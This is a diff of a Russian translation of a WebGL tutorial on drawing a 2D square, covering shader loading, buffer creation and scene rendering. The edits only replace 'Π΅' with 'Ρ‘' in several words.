+<p>На Π΄Π°Π½Π½ΠΎΠΌ этапС ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΎΠ΄Π½Ρƒ Π²Π΅Ρ‰ΡŒ: Π½Π΅ смотря Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Π² этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ отрисовываСм Π΄Π²ΡƒΡ…ΠΌΠ΅Ρ€Π½Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΌΡ‹ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ отрисовываСм Π΅Π³ΠΎ Π² Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½ΠΎΠΌ пространствС. По сущСству, Π½Π°ΠΌ ΠΏΠΎ-ΠΏΡ€Π΅ΠΆΠ½Π΅ΠΌΡƒ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π±ΡƒΠ΄ΡƒΡ‚ ΠΎΡΠ²Π΅Ρ‰Π°Ρ‚ΡŒ Π½Π°ΡˆΡƒ ΠΏΡ€ΠΎΡΡ‚ΡƒΡŽ сцСну,Β  ΠΈ ΠΎΡ‚Ρ€ΠΈΡΠΎΠ²Π°Ρ‚ΡŒ наш ΠΎΠ±ΡŠΠ΅ΠΊΡ‚. На Π΄Π°Π½Π½ΠΎΠΌ шагС ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠΌ ΠΊΠ°ΠΊ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡΠ²Π΅Ρ‰Π°Ρ‚ΡŒΡΡ.</p>
<h3 id="Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ_ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ²">Π˜Π½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ²</h3>
@@ -44,11 +44,11 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
<p>Π­Ρ‚ΠΎΠΉ ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€ΠΎΠΉ Π·Π°Π³Ρ€ΡƒΠΆΠ°ΡŽΡ‚ΡΡ Π΄Π²Π΅ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½Ρ‹Π΅ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡ‹. ΠŸΠ΅Ρ€Π²Π°Ρ - Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€, загруТаСтся ΠΈΠ· элСмСнта <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с ID "shader-fs". Вторая - Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΉ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€, загруТаСтся ΠΈΠ· элСмСнта <a href="/en/HTML/Element/Script" title="En/HTML/Element/Script"><code>script</code></a> с IDΒ "shader-vs". ΠœΡ‹ рассмотрим Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>getShader()</code> Ρ‡ΡƒΡ‚ΡŒ Π½ΠΈΠΆΠ΅. Π­Ρ‚Π° ΠΏΡ€ΠΎΡ†Π΅Π΄ΡƒΡ€Π° фактичСски ΠΎΡ‚Π²Π΅Ρ‡Π°Π΅Ρ‚ Π·Π° ΠΈΠ·Π²Π»Π΅Ρ‡Π΅Π½ΠΈΠ΅ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½Ρ‹Ρ… ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌ ΠΈΠ· DOM.</p>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаСм ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, вызывая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>createProgram()</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WebGL, присоСдиняя Π΄Π²Π° ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π° ΠΊ Π½Π΅ΠΌΡƒ, ΠΈ связывая ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ. ПослС выполнСния этого, провСряСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>LINK_STATUS</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>gl</code> для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ скомпонована. Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅ΠΌ Π½ΠΎΠ²ΡƒΡŽ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ создаём ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ, вызывая Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>createProgram()</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° WebGL, присоСдиняя Π΄Π²Π° ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π° ΠΊ Π½Π΅ΠΌΡƒ, ΠΈ связывая ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ. ПослС выполнСния этого, провСряСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π° <code>LINK_STATUS</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>gl</code> для Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ±Π΅Π΄ΠΈΡ‚ΡŒΡΡ, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ скомпонована. Если это Ρ‚Π°ΠΊ, ΠΌΡ‹ Π°ΠΊΡ‚ΠΈΠ²ΠΈΡ€ΡƒΠ΅ΠΌ Π½ΠΎΠ²ΡƒΡŽ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ.</p>
<h3 id="Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ°_ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ²_ΠΈΠ·_DOM">Π—Π°Π³Ρ€ΡƒΠ·ΠΊΠ° ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠ² ΠΈΠ· DOM</h3>
-<p>Ѐункция <code>getShader()</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈΠ· DOM ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, возвращая ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ, ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ null, Ссли ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½Π°Ρ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π° ΠΈΠ»ΠΈ скомпилирована.</p>
+<p>Ѐункция <code>getShader()</code> ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚ ΠΈΠ· DOM ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠΌΠ΅Π½Π΅ΠΌ, возвращая ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½ΡƒΡŽ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΡƒΡŽ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΡƒ Π²Ρ‹Π·Ρ‹Π²Π°ΡŽΡ‰Π΅ΠΌΡƒ, ΠΈΠ»ΠΈ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ null, Ссли ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½Π°Ρ ΠΏΡ€ΠΎΠ³Ρ€Π°ΠΌΠΌΠ° Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π·Π°Π³Ρ€ΡƒΠΆΠ΅Π½Π° ΠΈΠ»ΠΈ скомпилирована.</p>
<pre class="brush: js">function getShader(gl, id) {
var shaderScript, theSource, currentChild, shader;
@@ -82,7 +82,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
Β Β  Β  return null;
Β  }</pre>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ для ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π° считан, ΠΌΡ‹ провСряСм MIME Ρ‚ΠΈΠΏ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ являСтся ΠΎΠ½ Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΌ (MIME type "x-shader/x-vertex") ΠΈΠ»ΠΈ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΌ (MIMEΒ type "x-shader/x-fragment") ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ создаСм ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ‚ΠΈΠΏ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π° ΠΈΠ· ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ исходного ΠΊΠΎΠ΄Π°.</p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΊΠΎΠ΄ для ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π° считан, ΠΌΡ‹ провСряСм MIME Ρ‚ΠΈΠΏ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π½ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ являСтся ΠΎΠ½ Π²Π΅Ρ€ΡˆΠΈΠ½Π½Ρ‹ΠΌ (MIME type "x-shader/x-vertex") ΠΈΠ»ΠΈ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹ΠΌ (MIMEΒ type "x-shader/x-fragment") ΡˆΠ΅ΠΉΠ΄Π΅Ρ€ΠΎΠΌ, Π° Π·Π°Ρ‚Π΅ΠΌ создаём ΡΠΎΠΎΡ‚Π²Π΅Ρ‚ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΉ Ρ‚ΠΈΠΏ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Π° ΠΈΠ· ΠΏΠΎΠ»ΡƒΡ‡Π΅Π½Π½ΠΎΠ³ΠΎ исходного ΠΊΠΎΠ΄Π°.</p>
<pre class="brush: js"> gl.shaderSource(shader, theSource);
@@ -109,7 +109,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
<p>ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ пиксСль Π² ΠΏΠΎΠ»ΠΈΠ³ΠΎΠ½Π΅ называСтся <strong>Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠΌ</strong> Π² языкС GL. Π€Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π½Ρ‹Π΅ ΡˆΠ΅ΠΉΠ΄Π΅Ρ€Ρ‹ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ для назначСния Ρ†Π²Π΅Ρ‚Π° для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ пиксСля. Π’ Π΄Π°Π½Π½ΠΎΠΌ случаС, ΠΌΡ‹ просто Π½Π°Π·Π½Π°Ρ‡Π°Π΅ΠΌ Π±Π΅Π»Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ пиксСлю.</p>
-<p><code>gl_FragColor</code> - встроСнная пСрСмСнная GL, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ для управлСния Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ². Устанавливая Π΅Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π°Π·Π½Π°Ρ‡Π°Π΅ΠΌ Ρ†Π²Π΅Ρ‚ пиксСлям. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ этого.</p>
+<p><code>gl_FragColor</code> - встроСнная пСрСмСнная GL, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΠ°Ρ для управлСния Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚ΠΎΠ². Устанавливая Π΅Ρ‘ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π°Π·Π½Π°Ρ‡Π°Π΅ΠΌ Ρ†Π²Π΅Ρ‚ пиксСлям. НиТС ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ этого.</p>
<pre class="brush: html">&lt;script id="shader-fs" type="x-shader/x-fragment"&gt;
Β Β void main(void) {
@@ -136,7 +136,7 @@ translation_of: Web/API/WebGL_API/Tutorial/Adding_2D_content_to_a_WebGL_context
<h2 id="Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°">Π‘ΠΎΠ·Π΄Π°Π½ΠΈΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</h2>
-<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ отрисуСм наш ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚, Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π΅Π³ΠΎ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹. ΠœΡ‹ сдСлаСм это,Β  Π²Ρ‹Π·Π²Π°Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>initBuffers().</code> По ΠΌΠ΅Ρ€Π΅ ознакомлСния с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ концСпциями WebGL, эта функция Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠ»ΠΎΠΆΠ½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΈ создании Π±ΠΎΠ»Π΅Π΅ слоТных Ρ‚Ρ€Π΅Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
+<p>ΠŸΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ ΠΌΡ‹ отрисуСм наш ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚, Π½Π°ΠΌ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΠΎ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ Π±ΡƒΡ„Π΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ содСрТит Π΅Π³ΠΎ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹. ΠœΡ‹ сдСлаСм это,Β  Π²Ρ‹Π·Π²Π°Π² Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ <code>initBuffers().</code> По ΠΌΠ΅Ρ€Π΅ ознакомлСния с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ концСпциями WebGL, эта функция Π±ΡƒΠ΄Π΅Ρ‚ ΡƒΡΠ»ΠΎΠΆΠ½ΡΡ‚ΡŒΡΡ ΠΏΡ€ΠΈ создании Π±ΠΎΠ»Π΅Π΅ слоТных Ρ‚Ρ€Ρ‘Ρ…ΠΌΠ΅Ρ€Π½Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ².</p>
<pre class="brush: js">var horizAspect = 480.0/640.0;
@@ -155,9 +155,9 @@ function initBuffers() {
}
</pre>
-<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ эта функция ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π° ΠΈ Π΄Π°Π΅Ρ‚ ΠΎΡ†Π΅Π½ΠΈΡ‚ΡŒ ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ ΡΡƒΡ‚ΡŒ сцСны. Она Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>createBuffer()</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>gl</code> для получСния Π±ΡƒΡ„Π΅Ρ€Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ привязываСтся ΠΊ контСксту, Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>bindBuffer()</code>.</p>
+<p>Π’ этом ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ эта функция ΡƒΠΏΡ€ΠΎΡ‰Π΅Π½Π° ΠΈ Π΄Π°Ρ‘Ρ‚ ΠΎΡ†Π΅Π½ΠΈΡ‚ΡŒ ΠΎΡΠ½ΠΎΠ²Π½ΡƒΡŽ ΡΡƒΡ‚ΡŒ сцСны. Она Π½Π°Ρ‡ΠΈΠ½Π°Π΅Ρ‚ Ρ€Π°Π±ΠΎΡ‚Ρƒ с Π²Ρ‹Π·ΠΎΠ²Π° ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>createBuffer()</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>gl</code> для получСния Π±ΡƒΡ„Π΅Ρ€Π°, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΡ‹ Π±ΡƒΠ΄Π΅ΠΌ Ρ…Ρ€Π°Π½ΠΈΡ‚ΡŒ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹. Π—Π°Ρ‚Π΅ΠΌ ΠΎΠ½ привязываСтся ΠΊ контСксту, Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄Π° <code>bindBuffer()</code>.</p>
-<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ это сдСлали, ΠΌΡ‹ создаСм JavaScript массив, содСрТащий ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°. Π—Π°Ρ‚Π΅ΠΌ этот массив прСобразуСтся Π² массив вСщСствСнных чисСл WebGL ΠΈ пСрСдаСтся Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>bufferData()</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>gl</code> для назначСния Π²Π΅Ρ€ΡˆΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ.</p>
+<p>ПослС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ ΠΌΡ‹ это сдСлали, ΠΌΡ‹ создаём JavaScript массив, содСрТащий ΠΊΠΎΠΎΡ€Π΄ΠΈΠ½Π°Ρ‚Ρ‹ для ΠΊΠ°ΠΆΠ΄ΠΎΠΉ Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°. Π—Π°Ρ‚Π΅ΠΌ этот массив прСобразуСтся Π² массив вСщСствСнных чисСл WebGL ΠΈ пСрСдаётся Π² ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>bufferData()</code> ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>gl</code> для назначСния Π²Π΅Ρ€ΡˆΠΈΠ½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ.</p>
<h2 id="ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ°_сцСны_2">ΠžΡ‚Ρ€ΠΈΡΠΎΠ²ΠΊΠ° сцСны</h2>
@@ -180,17 +180,17 @@ function initBuffers() {
<p>ΠŸΠ΅Ρ€Π²Ρ‹ΠΉ шаг - очистка Ρ†Π²Π΅Ρ‚ΠΎΠΌ Ρ„ΠΎΠ½Π° сцСны контСкста. Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм пСрспСктиву ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹. ΠœΡ‹ устанавливаСм ΡƒΠ³ΠΎΠ» ΠΎΠ±Π·ΠΎΡ€Π° Π² 45Β°, с ΡΠΎΠΎΡ‚Π½ΠΎΡˆΠ΅Π½ΠΈΠ΅ΠΌ ΡˆΠΈΡ€ΠΈΠ½Ρ‹ ΠΊ высотС Ρ€Π°Π²Π½Ρ‹ΠΌ 640/480 (Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ нашСго ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° canvas). ΠœΡ‹ Ρ‚Π°ΠΊΠΆΠ΅ опрСдСляСм, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ отрисованными ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π½Π° расстоянии ΠΎΡ‚ 0.1 Π΄ΠΎ 100 Π΅Π΄ΠΈΠ½ΠΈΡ† ΠΎΡ‚ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹.</p>
-<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°, загруТая ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΈ размСщая Π΅Π΅ ΠΎΡ‚ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ Π½Π° 6 Π΅Π΄ΠΈΠ½ΠΈΡ†. ПослС этого, ΠΌΡ‹ привязываСм Π±ΡƒΡ„Π΅Ρ€, содСрТащий Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° ΠΊ контСксту, настраиваСм Π΅Π³ΠΎ, ΠΈ отрисовываСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, вызывая ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>drawArrays()</code>.</p>
+<p>Π—Π°Ρ‚Π΅ΠΌ ΠΌΡ‹ устанавливаСм ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π°, загруТая ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ ΠΈ размСщая Π΅Ρ‘ ΠΎΡ‚ ΠΊΠ°ΠΌΠ΅Ρ€Ρ‹ Π½Π° 6 Π΅Π΄ΠΈΠ½ΠΈΡ†. ПослС этого, ΠΌΡ‹ привязываСм Π±ΡƒΡ„Π΅Ρ€, содСрТащий Π²Π΅Ρ€ΡˆΠΈΠ½Ρ‹ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π° ΠΊ контСксту, настраиваСм Π΅Π³ΠΎ, ΠΈ отрисовываСм ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, вызывая ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>drawArrays()</code>.</p>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‰Π΅Π»ΠΊΠ½ΡƒΠ² ΠΏΠΎ этой ссылкС</a>. Но это Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ осущСствляСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ WebGL.</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ <a href="/samples/webgl/sample2" title="https://developer.mozilla.org/samples/webgl/sample2">ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒ ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΠ² ΠΏΠΎ этой ссылкС</a>. Но это Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅ΠΌΡ‹ΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ осущСствляСт ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΡƒ WebGL.</p>
